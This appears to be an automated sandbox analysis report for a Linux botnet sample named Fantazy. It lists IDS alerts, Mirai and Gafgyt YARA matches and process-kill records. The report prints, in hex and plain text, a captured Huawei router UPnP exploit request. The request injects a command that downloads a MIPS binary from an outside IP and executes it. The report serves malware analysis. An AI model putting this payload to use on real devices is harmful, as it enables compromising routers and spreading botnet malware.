2025-02-12T16:54:08.280625+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53024	197.178.249.219	37215	TCP
2025-02-12T16:54:08.308846+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36950	106.33.68.182	37215	TCP
2025-02-12T16:54:09.223318+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35068	184.154.154.141	37215	TCP
2025-02-12T16:54:09.247567+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41840	41.100.220.166	37215	TCP
2025-02-12T16:54:09.248370+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35604	157.178.221.227	37215	TCP
2025-02-12T16:54:09.261150+0100	2835222	1	A Network Trojan was detected	192.168.2.14	48556	197.104.173.144	37215	TCP
2025-02-12T16:54:09.261195+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33518	157.180.87.87	37215	TCP
2025-02-12T16:54:09.261345+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40984	199.103.197.202	37215	TCP
2025-02-12T16:54:09.261586+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54606	41.61.221.205	37215	TCP
2025-02-12T16:54:09.261648+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58752	217.217.28.42	37215	TCP
2025-02-12T16:54:09.261907+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40684	197.162.139.84	37215	TCP
2025-02-12T16:54:09.262082+0100	2835222	1	A Network Trojan was detected	192.168.2.14	36202	87.111.26.138	37215	TCP
2025-02-12T16:54:09.262906+0100	2835222	1	A Network Trojan was detected	192.168.2.14	56344	179.191.34.6	37215	TCP
2025-02-12T16:54:09.262988+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51664	197.227.132.44	37215	TCP
2025-02-12T16:54:09.263139+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49602	197.185.150.161	37215	TCP
2025-02-12T16:54:09.263229+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34032	41.91.3.175	37215	TCP
2025-02-12T16:54:09.263328+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55594	197.208.21.5	37215	TCP
2025-02-12T16:54:09.263543+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41654	157.72.13.176	37215	TCP
2025-02-12T16:54:09.264829+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38656	157.151.179.223	37215	TCP
2025-02-12T16:54:09.280569+0100	2835222	1	A Network Trojan was detected	192.168.2.14	59450	157.175.101.11	37215	TCP
2025-02-12T16:54:09.280648+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35752	45.17.76.73	37215	TCP
2025-02-12T16:54:09.280850+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41350	41.81.61.162	37215	TCP
2025-02-12T16:54:09.280854+0100	2835222	1	A Network Trojan was detected	192.168.2.14	53266	2.81.98.87	37215	TCP
2025-02-12T16:54:09.280859+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52518	197.201.247.174	37215	TCP
2025-02-12T16:54:09.280913+0100	2835222	1	A Network Trojan was detected	192.168.2.14	46190	197.90.14.120	37215	TCP
2025-02-12T16:54:09.282829+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45592	197.180.183.137	37215	TCP
2025-02-12T16:54:09.296184+0100	2835222	1	A Network Trojan was detected	192.168.2.14	50952	46.134.194.78	37215	TCP
2025-02-12T16:54:09.783591+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57364	197.9.245.147	37215	TCP
2025-02-12T16:54:10.263554+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52718	41.102.108.11	37215	TCP
2025-02-12T16:54:11.276882+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60858	157.118.49.127	37215	TCP
2025-02-12T16:54:11.276959+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51956	41.70.188.78	37215	TCP
2025-02-12T16:54:11.277049+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52060	153.167.100.135	37215	TCP
2025-02-12T16:54:11.278878+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37440	197.34.115.231	37215	TCP
2025-02-12T16:54:11.292727+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35932	197.108.109.139	37215	TCP
2025-02-12T16:54:11.296681+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60890	157.214.56.226	37215	TCP
2025-02-12T16:54:11.296792+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47740	197.240.82.135	37215	TCP
2025-02-12T16:54:11.296913+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57634	157.157.20.21	37215	TCP
2025-02-12T16:54:11.309970+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45748	197.52.8.139	37215	TCP
2025-02-12T16:54:11.311842+0100	2835222	1	A Network Trojan was detected	192.168.2.14	44818	41.6.6.36	37215	TCP
2025-02-12T16:54:11.311933+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49312	206.113.130.183	37215	TCP
2025-02-12T16:54:12.544281+0100	2835222	1	A Network Trojan was detected	192.168.2.14	41626	157.173.198.80	37215	TCP
2025-02-12T16:54:13.345604+0100	2835222	1	A Network Trojan was detected	192.168.2.14	54034	197.78.238.195	37215	TCP
2025-02-12T16:54:13.355035+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51356	157.187.152.32	37215	TCP
2025-02-12T16:54:13.356749+0100	2835222	1	A Network Trojan was detected	192.168.2.14	37352	95.251.75.161	37215	TCP
2025-02-12T16:54:13.370682+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57388	41.61.109.152	37215	TCP
2025-02-12T16:54:13.372281+0100	2835222	1	A Network Trojan was detected	192.168.2.14	57296	197.163.53.92	37215	TCP
2025-02-12T16:54:14.349235+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60984	141.53.226.38	37215	TCP
2025-02-12T16:54:14.349296+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52430	157.210.72.111	37215	TCP
2025-02-12T16:54:14.354929+0100	2835222	1	A Network Trojan was detected	192.168.2.14	52840	197.132.243.239	37215	TCP
2025-02-12T16:54:14.355108+0100	2835222	1	A Network Trojan was detected	192.168.2.14	34360	157.227.253.198	37215	TCP
2025-02-12T16:54:14.355272+0100	2835222	1	A Network Trojan was detected	192.168.2.14	60778	70.61.30.164	37215	TCP
2025-02-12T16:54:14.355336+0100	2835222	1	A Network Trojan was detected	192.168.2.14	45094	100.185.53.73	37215	TCP
2025-02-12T16:54:14.356164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	43646	197.21.20.142	37215	TCP
2025-02-12T16:54:14.356164+0100	2835222	1	A Network Trojan was detected	192.168.2.14	51332	197.222.150.234	37215	TCP
2025-02-12T16:54:14.356284+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58676	197.66.181.53	37215	TCP
2025-02-12T16:54:14.356285+0100	2835222	1	A Network Trojan was detected	192.168.2.14	38226	119.218.15.148	37215	TCP
2025-02-12T16:54:14.356423+0100	2835222	1	A Network Trojan was detected	192.168.2.14	49336	161.160.41.229	37215	TCP
2025-02-12T16:54:14.356571+0100	2835222	1	A Network Trojan was detected	192.168.2.14	47702	157.247.232.142	37215	TCP
2025-02-12T16:54:14.356864+0100	2835222	1	A Network Trojan was detected	192.168.2.14	33046	8.200.84.103	37215	TCP
2025-02-12T16:54:14.357702+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58504	100.131.123.0	37215	TCP
2025-02-12T16:54:14.357823+0100	2835222	1	A Network Trojan was detected	192.168.2.14	55874	197.156.25.132	37215	TCP
2025-02-12T16:54:14.359803+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35792	41.198.104.177	37215	TCP
2025-02-12T16:54:14.360211+0100	2835222	1	A Network Trojan was detected	192.168.2.14	58250	197.93.211.169	37215	TCP
2025-02-12T16:54:14.374597+0100	2835222	1	A Network Trojan was detected	192.168.2.14	40006	41.3.23.187	37215	TCP
2025-02-12T16:54:14.388267+0100	2835222	1	A Network Trojan was detected	192.168.2.14	35060	197.135.221.84	37215	TCP

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 472Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 31 34 39 2e 32 34 31 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 46 61 6e 74 61 7a 79 2f 46 61 6e 74 61 7a 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.149.241.90 -l /tmp/.oxy -r /Fantazy/Fantazy.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy Huawei.Selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: Fantazy.x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Fantazy.x86_64.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Xorg.0.log.159.dr, syslog.50.dr	String found in binary or memory: http://wiki.x.org
Source: Xorg.0.log.159.dr, syslog.50.dr	String found in binary or memory: http://www.ubuntu.com/support)
Source: syslog.50.dr	String found in binary or memory: https://www.rsyslog.com

Source: unknown

Network traffic detected: HTTP traffic on port 46540 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: Fantazy.x86_64.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5474.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5477.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5478.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5475.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 Author: unknown
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 490, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 661, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 769, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 780, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 782, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 791, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 797, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1309, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1589, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2955, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2991, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 3157, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5317, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5455, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5456, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5476, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5478, result: unknown	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 5817, result: successful
Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 6021, result: successful
Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 6194, result: successful
Source: /usr/bin/dbus-daemon (PID: 5823)	SIGKILL sent: pid: 6180, result: successful

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.149.241.90 -l /tmp/.oxy -r /Fantazy/Fantazy.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy Huawei.Selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: !@<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.149.241.90 -l /tmp/.oxy -r /Fantazy/Fantazy.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy Huawei.Selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 490, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 661, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 725, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 726, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 767, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 769, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 780, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 782, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 791, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 797, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 940, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1299, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1300, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1309, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 1589, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2955, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2956, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 2991, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 3157, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5317, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5455, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5456, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5476, result: successful	Jump to behavior
Source: /tmp/Fantazy.x86_64.elf (PID: 5478)	SIGKILL sent: pid: 5478, result: unknown	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5804)	SIGKILL sent: pid: 5817, result: successful
